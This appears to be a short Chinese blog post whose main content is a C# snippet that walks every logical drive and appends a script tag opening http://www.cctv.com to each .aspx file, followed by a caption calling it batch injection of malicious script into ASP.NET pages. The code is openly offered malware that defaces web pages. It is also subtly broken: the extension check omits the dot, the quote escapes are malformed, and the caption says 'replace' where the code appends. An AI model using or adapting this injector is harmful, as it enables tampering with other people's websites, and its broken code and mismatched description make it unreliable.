foreach (string drive in Environment.GetLogicalDrives())
{
DirectoryInfo dirinfo = new DirectoryInfo(drive);
foreach (DirectoryInfo directory in dirinfo.GetDirectories())
{
foreach (FileInfo file in directory.GetFiles())
{
if (file.Extension == "aspx")
{
StreamWriter AspxWriter = file.AppendText();
AspxWriter.WriteLine();
AspxWriter.WriteLine("<script type=/"text/javascript/">");
AspxWriter.WriteLine("window.open('http://www.cctv.com');");
AspxWriter.WriteLine("</script>");
AspxWriter.Close();
}
}
}
foreach (FileInfo file in dirinfo.GetFiles())
{
if (file.Extension == "aspx")
{
StreamWriter AspxWriter = file.AppendText();
AspxWriter.WriteLine();
AspxWriter.WriteLine("<script type=/"text/javascript/">");
AspxWriter.WriteLine("window.open('http://www.cctv.com');");
AspxWriter.WriteLine("</script>");
AspxWriter.Close();
}
}
}
批量替换ASP.NET页面中的恶意脚本代码
本文介绍了一段脚本代码,用于遍历指定路径下的所有目录和文件,针对扩展名为.aspx的ASP.NET页面进行恶意脚本注入。代码会将页面中的正常内容替换为恶意的JavaScript代码,实现跳转至特定网站的功能。

3万+

被折叠的 条评论
为什么被折叠?



